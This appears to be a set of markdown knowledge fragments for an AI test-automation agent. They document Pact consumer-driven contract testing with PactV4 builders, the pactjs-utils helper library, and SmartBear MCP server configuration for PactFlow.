**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
**Implementation**:
The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
```typescript
// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
import axios from 'axios';
const axiosInstance = axios.create({
baseURL: process.env.API_URL || 'http://localhost:3001',
});
// Expose a way to override the base URL for Pact testing
export const setApiUrl = (url: string) => {
axiosInstance.defaults.baseURL = url;
};
export const getMovies = async () => {
const res = await axiosInstance.get('/movies');
return res.data;
};
export const getMovieById = async (id: number) => {
const res = await axiosInstance.get(`/movies/${id}`);
return res.data;
};
```
```typescript
// tests/contract/consumer/get-movies.pacttest.ts
import { MatchersV3 } from '@pact-foundation/pact';
import type { V3MockServer } from '@pact-foundation/pact';
import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
import { movieExists } from '../support/provider-states';
import { createPact } from '../support/pact-config';
// Import REAL consumer code — this is what we're actually testing
import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
const { like, integer, string } = MatchersV3;
const pact = createPact();
describe('Movies API Consumer Contract', () => {
const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
it('should get a movie by ID', async () => {
const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
await pact
.addInteraction()
.given(stateName, stateParams)
.uponReceiving('a request to get movie by ID')
.withRequest(
'GET',
'/movies/1',
setJsonContent({
headers: { Accept: 'application/json' },
}),
)
.willRespondWith(
200,
setJsonBody(
like({
id: integer(1),
name: string('The Matrix'),
year: integer(1999),
rating: like(8.7),
director: string('Wachowskis'),
}),
),
)
.executeTest(async (mockServer: V3MockServer) => {
// Inject mock server URL into the REAL consumer code
setApiUrl(mockServer.url);
// Call the REAL consumer function — this is what CDC testing validates
const movie = await getMovieById(1);
expect(movie.id).toBe(1);
expect(movie.name).toBe('The Matrix');
});
});
it('should handle movie not found', async () => {
await pact
.addInteraction()
.given('No movies exist')
.uponReceiving('a request for a non-existent movie')
.withRequest('GET', '/movies/999')
.willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
.executeTest(async (mockServer: V3MockServer) => {
setApiUrl(mockServer.url);
await expect(getMovieById(999)).rejects.toThrow();
});
});
});
```
**Key Points**:
- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
**Common URL injection patterns** (pick whichever fits your consumer architecture):
| Pattern | Example | Best For |
| -------------------- | -------------------------------------------- | --------------------- |
| `setApiUrl(url)` | Mutates axios instance `baseURL` | Singleton HTTP client |
| Constructor param | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients |
| Environment variable | `process.env.API_URL = mockServer.url` | Config-driven apps |
| Factory function | `createApi({ baseUrl: mockServer.url })` | Functional patterns |
---
### Example 8: Support Files
#### Pact Config Factory
```typescript
// tests/contract/support/pact-config.ts
import path from 'node:path';
import { PactV4 } from '@pact-foundation/pact';
export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
new PactV4({
dir: path.resolve(process.cwd(), 'pacts'),
consumer: overrides?.consumer ?? 'MyConsumerApp',
provider: overrides?.provider ?? 'MyProviderAPI',
logLevel: 'warn',
});
```
#### Provider State Factories
```typescript
// tests/contract/support/provider-states.ts
import type { ProviderStateInput } from './consumer-helpers';
export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
name: 'An existing movie exists',
params: movie,
});
export const hasMovieWithId = (id: number): ProviderStateInput => ({
name: 'Has a movie with a specific ID',
params: { id },
});
```
#### Local Consumer Helpers Shim
```typescript
// tests/contract/support/consumer-helpers.ts
// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
// with '@seontechnologies/pactjs-utils' exports when available.
type TemplateHeaders = Record<string, string | number | boolean>;
type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
type TemplateQuery = Record<string, TemplateQueryValue>;
export type ProviderStateInput = {
name: string;
params: Record<string, unknown>;
};
type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
type JsonContentBuilder = {
headers: (headers: TemplateHeaders) => unknown;
jsonBody: (body: unknown) => unknown;
query?: (query: TemplateQuery) => unknown;
};
export type JsonContentInput = {
body?: unknown;
headers?: TemplateHeaders;
query?: TemplateQuery;
};
export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
Object.fromEntries(
Object.entries(obj).map(([key, value]) => {
if (value === null || value === undefined) return [key, 'null'];
if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
if (value instanceof Date) return [key, value.toISOString()];
return [key, String(value)];
}),
);
export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
export const setJsonContent =
({ body, headers, query }: JsonContentInput) =>
(builder: JsonContentBuilder): void => {
if (query && builder.query) {
builder.query(query);
}
if (headers) {
builder.headers(headers);
}
if (body !== undefined) {
builder.jsonBody(body);
}
};
export const setJsonBody = (body: unknown) => setJsonContent({ body });
```
**Key Points**:
- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
- Add a TODO comment noting to swap for the published package when available
- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
---
### Example 9: .gitignore Entries
**Context**: Pact-specific entries to add to `.gitignore`.
```
# Pact contract testing artifacts
/pacts/
pact-logs/
```
---
## Validation Checklist
Before presenting the consumer CDC framework to the user, verify:
- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
- [ ] Scripts source `env-setup.sh` inline in package.json
- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
- [ ] Shell scripts use `PACTICIPANT` env var pattern
- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
- [ ] `record-deployment.sh` has branch guard
- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
- [ ] CI workflow named `contract-test-consumer.yml`
- [ ] CI has workflow-level env block (not per-step)
- [ ] CI has `detect-breaking-change` step before install
- [ ] CI step numbering skips (3) — webhook-triggered provider verification
- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
- [ ] CI has NO upload-artifact step
- [ ] `.github/actions/detect-breaking-change/action.yml` exists
- [ ] Consumer tests use `.pacttest.ts` extension
- [ ] Consumer tests use PactV4 `addInteraction()` builder
- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
- [ ] Local consumer-helpers shim present if pactjs-utils not installed
- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
## Related Fragments
- `pactjs-utils-overview.md` — Library decision tree and installation
- `pactjs-utils-consumer-helpers.md``createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
- `pactjs-utils-request-filter.md` — Auth injection for provider verification
- `contract-testing.md` — Foundational CDC patterns and resilience coverage

View File

@@ -0,0 +1,204 @@
# Pact MCP Server (SmartBear)
## Principle
Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
## Rationale
### Why MCP for contract testing?
- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
### When TEA uses it
- **test-design workflow**: Fetch existing provider states to understand current contract landscape
- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
- **test-review workflow**: Review pact tests against best practices with automated feedback
- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
## Available Tools
| # | Tool | Description | When Used |
| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
| 1 | **Generate Pact Tests** | Create consumer/provider tests from code, OpenAPI, or templates | automate workflow |
| 2 | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
| 3 | **Review Pact Tests** | Analyze tests against contract testing best practices | test-review |
| 4 | **Can I Deploy** | Check deployment safety via broker verification matrix | ci workflow |
| 5 | **Matrix** | Query consumer-provider verification matrix | ci, test-design |
| 6 | **PactFlow AI Status** | Check AI credits and permissions (PactFlow Cloud only) | diagnostics |
| 7 | **Metrics - All** | Workspace-wide contract testing metrics | reporting |
| 8 | **Metrics - Team** | Team-level adoption statistics (PactFlow Cloud only) | reporting |
## Installation
### Config file locations
| Tool | Global Config File | Format |
| ----------------- | ------------------------------------- | ---------------------- |
| Claude Code | `~/.claude.json` | JSON (`mcpServers`) |
| Codex | `~/.codex/config.toml` | TOML (`[mcp_servers]`) |
| Gemini CLI | `~/.gemini/settings.json` | JSON (`mcpServers`) |
| Cursor | `~/.cursor/mcp.json` | JSON (`mcpServers`) |
| Windsurf | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`) |
| VS Code (Copilot) | `.vscode/mcp.json` | JSON (`servers`) |
> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
### CLI shortcuts (Claude Code and Codex)
```bash
# Claude Code — use add-json for servers with env vars (-s user = global)
claude mcp add-json -s user smartbear \
'{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
# Codex
codex mcp add smartbear -- npx -y @smartbear/mcp@latest
```
### JSON config (Gemini CLI, Cursor, Windsurf)
Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
```json
{
"mcpServers": {
"smartbear": {
"type": "stdio",
"command": "npx",
"args": ["-y", "@smartbear/mcp@latest"],
"env": {
"PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
"PACT_BROKER_TOKEN": "<your-api-token>"
}
}
}
}
```
### Codex TOML config
Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
```toml
[mcp_servers.smartbear]
command = "npx"
args = ["-y", "@smartbear/mcp@latest"]
[mcp_servers.smartbear.env]
PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
PACT_BROKER_TOKEN = "<your-api-token>"
```
Note the key is `mcp_servers` (underscored), not `mcpServers`.
### VS Code (GitHub Copilot)
Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
```json
{
"servers": {
"smartbear": {
"type": "stdio",
"command": "npx",
"args": ["-y", "@smartbear/mcp@latest"],
"env": {
"PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
"PACT_BROKER_TOKEN": "${input:pactToken}"
}
}
}
}
```
> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
## Required Environment Variables
| Variable | Required | Description |
| ---------------------- | ---------------------------- | --------------------------------------- |
| `PACT_BROKER_BASE_URL` | Yes (for Pact features) | PactFlow or self-hosted Pact Broker URL |
| `PACT_BROKER_TOKEN` | For PactFlow / token auth | API token for broker authentication |
| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication |
| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication |
**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
**Requirements**: Node.js 20+
## Pattern Examples
### Example 1: Fetching Provider States During Test Design
When designing contract tests, use MCP to query existing provider states:
```
# Agent queries SmartBear MCP during test-design workflow:
# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
#
# Agent uses this to generate comprehensive consumer tests covering all states
```
### Example 2: Reviewing Pact Tests
During test-review workflow, use MCP to evaluate test quality:
```
# Agent submits test file to SmartBear MCP Review tool:
# → Review Pact Tests with test file content
# ← Returns: feedback on matcher usage, state coverage, interaction naming
#
# Agent incorporates feedback into review report
```
### Example 3: Can I Deploy Check in CI
During CI workflow design, reference the can-i-deploy tool:
```
# Agent generates CI pipeline with can-i-deploy gate:
# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
# ← Returns: { ok: true/false, reason: "..." }
#
# Agent designs pipeline to block deployment if can-i-deploy fails
```
## Key Points
- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
## Related Fragments
- `pactjs-utils-overview.md` — runtime utilities that pact tests import
- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
- `contract-testing.md` — foundational contract testing patterns
## Anti-Patterns
### Wrong: Using MCP for runtime test execution
```
# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
# MCP is for agent-assisted design, generation, and review
```
### Right: Use MCP for design-time assistance
```
# ✅ Use MCP during planning and review:
# - Fetch provider states to inform test design
# - Generate test scaffolds from existing contracts
# - Review tests for best practice compliance
# - Check can-i-deploy during CI pipeline design
```
_Source: SmartBear MCP documentation, PactFlow developer docs_

View File

@@ -0,0 +1,270 @@
# Pact.js Utils Consumer Helpers
## Principle
Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
## Rationale
### Problems with raw consumer helper handling
- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
### Solutions
- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
## Pattern Examples
### Example 1: Basic Provider State Creation
```typescript
import { PactV3, MatchersV3 } from '@pact-foundation/pact';
import { createProviderState } from '@seontechnologies/pactjs-utils';
const provider = new PactV3({
consumer: 'movie-web',
provider: 'SampleMoviesAPI',
dir: './pacts',
});
describe('Movie API Contract', () => {
it('should return movie by id', async () => {
// createProviderState returns [stateName, JsonMap] tuple
const providerState = createProviderState({
name: 'movie with id 1 exists',
params: { id: 1, name: 'Inception', year: 2010 },
});
await provider
.given(...providerState) // Spread tuple into .given(name, params)
.uponReceiving('a request for movie 1')
.withRequest({ method: 'GET', path: '/movies/1' })
.willRespondWith({
status: 200,
body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
})
.executeTest(async (mockServer) => {
const res = await fetch(`${mockServer.url}/movies/1`);
const movie = await res.json();
expect(movie.name).toBe('Inception');
});
});
});
```
**Key Points**:
- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
- Both `name` and `params` are required (pass `params: {}` for states without parameters)
- Returns `[string, JsonMap]` — spread with `...` into `.given()`
- `params` values are automatically converted to JsonMap-compatible types
- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
### Example 2: Complex Parameters with toJsonMap
```typescript
import { toJsonMap } from '@seontechnologies/pactjs-utils';
// toJsonMap conversion rules:
// - string, number, boolean → passed through
// - null → "null" (string)
// - undefined → "null" (string, same as null)
// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
// - nested object → JSON string
// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
const params = toJsonMap({
id: 42,
name: 'John Doe',
active: true,
score: null,
createdAt: new Date('2025-01-15T10:00:00Z'),
metadata: { role: 'admin', permissions: ['read', 'write'] },
});
// Result:
// {
// id: 42,
// name: "John Doe",
// active: true,
// score: "null",
// createdAt: "2025-01-15T10:00:00.000Z",
// metadata: '{"role":"admin","permissions":["read","write"]}'
// }
```
**Key Points**:
- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
- Use it when you need explicit control over parameter conversion outside of provider states
- Conversion rules are deterministic: same input always produces same output
### Example 3: Provider State Without Parameters
```typescript
import { createProviderState } from '@seontechnologies/pactjs-utils';
// State without params — second tuple element is empty object
const emptyState = createProviderState({ name: 'no movies exist', params: {} });
// Returns: ['no movies exist', {}]
await provider
.given(...emptyState)
.uponReceiving('a request when no movies exist')
.withRequest({ method: 'GET', path: '/movies' })
.willRespondWith({ status: 200, body: [] })
.executeTest(async (mockServer) => {
const res = await fetch(`${mockServer.url}/movies`);
const movies = await res.json();
expect(movies).toEqual([]);
});
```
### Example 4: Multiple Provider States
```typescript
import { createProviderState } from '@seontechnologies/pactjs-utils';
// Some interactions require multiple provider states
// Call .given() multiple times with different states
await provider
.given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
.given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
.uponReceiving('an authenticated request for movie 5')
.withRequest({
method: 'GET',
path: '/movies/5',
headers: { Authorization: MatchersV3.like('Bearer token') },
})
.willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
.executeTest(async (mockServer) => {
// test implementation
});
```
### Example 5: When to Use setJsonBody vs setJsonContent
```typescript
import { MatchersV3 } from '@pact-foundation/pact';
import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
const { integer, string } = MatchersV3;
await pact
.addInteraction()
.given('movie exists')
.uponReceiving('a request to get movie by name')
.withRequest(
'GET',
'/movies',
setJsonContent({
query: { name: 'Inception' },
headers: { Accept: 'application/json' },
}),
)
.willRespondWith(
200,
setJsonBody({
status: 200,
data: { id: integer(1), name: string('Inception') },
}),
);
```
**Key Points**:
- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
## Key Points
- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
- **Date handling**: Date objects become ISO 8601 strings
- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]``"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
## Related Fragments
- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
- `contract-testing.md` — foundational patterns with raw Pact.js
## Anti-Patterns
### Wrong: Manual JsonMap assembly
```typescript
// ❌ Manual casting — verbose, error-prone, no type safety
provider.given('user exists', {
id: 1 as unknown as string,
createdAt: new Date().toISOString(),
metadata: JSON.stringify({ role: 'admin' }),
} as JsonMap);
```
### Right: Use createProviderState
```typescript
// ✅ Automatic conversion with type safety
provider.given(
...createProviderState({
name: 'user exists',
params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
}),
);
```
### Wrong: Inline state names without helper
```typescript
// ❌ Duplicated state names between consumer and provider — easy to mismatch
provider.given('a user with id 1 exists', { id: '1' });
// Later in provider: 'user with id 1 exists' — different string!
```
### Right: Share state constants
```typescript
// ✅ Define state names as constants shared between consumer and provider
const STATES = {
USER_EXISTS: 'user with id exists',
NO_USERS: 'no users exist',
} as const;
provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
```
### Wrong: Repeating inline builder lambdas everywhere
```typescript
// ❌ Repetitive callback boilerplate in every interaction
.willRespondWith(200, (builder) => {
builder.jsonBody({ status: 200 });
});
```
### Right: Use setJsonBody / setJsonContent
```typescript
// ✅ Reusable callbacks with less boilerplate
.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
.willRespondWith(200, setJsonBody({ status: 200 }));
```
_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_

View File

@@ -0,0 +1,216 @@
# Pact.js Utils Overview
## Principle
Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
## Rationale
### Problems with raw @pact-foundation/pact
- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
### Solutions from pactjs-utils
- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
## Installation
```bash
npm install -D @seontechnologies/pactjs-utils
# Peer dependency
npm install -D @pact-foundation/pact
```
**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
## Available Utilities
| Category | Function | Description | Use Case |
| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
| Consumer Helpers | `createProviderState` | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))` |
| Consumer Helpers | `toJsonMap` | Converts any object to Pact-compatible `JsonMap` | Explicit type coercion for provider state params |
| Consumer Helpers | `setJsonContent` | Curried request/response JSON callback helper | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders |
| Consumer Helpers | `setJsonBody` | Body-only alias of `setJsonContent` | Body-only `.willRespondWith(...)` responses |
| Provider Verifier | `buildVerifierOptions` | Assembles complete HTTP `VerifierOptions` | Provider verification: `new Verifier(buildVerifierOptions(...))` |
| Provider Verifier | `buildMessageVerifierOptions` | Assembles message `VerifierOptions` | Kafka/async provider verification |
| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars | Env-aware broker configuration |
| Provider Verifier | `getProviderVersionTags` | CI-aware version tag extraction | Provider version tagging in CI |
| Request Filter | `createRequestFilter` | Express middleware with pluggable token generator | Auth injection for provider verification |
| Request Filter | `noOpRequestFilter` | Pass-through filter (no-op) | Providers without auth requirements |
## Decision Tree: Which Flow?
```
Is this a monorepo (consumer + provider in same repo)?
├── YES → Local Flow
│ - Consumer generates pact files to ./pacts/
│ - Provider reads pact files from ./pacts/ (no broker needed)
│ - Use buildVerifierOptions with pactUrls option
└── NO → Do you have a Pact Broker / PactFlow?
├── YES → Remote (CDCT) Flow
│ - Consumer publishes pacts to broker
│ - Provider verifies from broker
│ - Use buildVerifierOptions with broker config
│ - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
└── Do you have an OpenAPI spec?
├── YES → BDCT Flow (PactFlow only)
│ - Provider publishes OpenAPI spec to PactFlow
│ - PactFlow cross-validates consumer pacts against spec
│ - No provider verification test needed
└── NO → Start with Local Flow, migrate to Remote later
```
## Design Philosophy
1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
5. **Composable**: Utilities work independently — use only what you need
## Pattern Examples
### Example 1: Minimal Consumer Test
```typescript
import { PactV3 } from '@pact-foundation/pact';
import { createProviderState } from '@seontechnologies/pactjs-utils';
const provider = new PactV3({
consumer: 'my-frontend',
provider: 'my-api',
dir: './pacts',
});
it('should get user by id', async () => {
await provider
.given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
.uponReceiving('a request for user 1')
.withRequest({ method: 'GET', path: '/users/1' })
.willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
.executeTest(async (mockServer) => {
const res = await fetch(`${mockServer.url}/users/1`);
expect(res.status).toBe(200);
});
});
```
### Example 2: Minimal Provider Verification
```typescript
import { Verifier } from '@pact-foundation/pact';
import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
const opts = buildVerifierOptions({
provider: 'my-api',
port: '3001',
includeMainAndDeployed: true,
stateHandlers: {
'user exists': async (params) => {
await db.seed({ users: [{ id: params?.id }] });
},
},
requestFilter: createRequestFilter({
tokenGenerator: () => 'test-token-123',
}),
});
await new Verifier(opts).verifyProvider();
```
## Key Points
- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
- **Peer dependency**: `@pact-foundation/pact` must be installed separately
- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
## Related Fragments
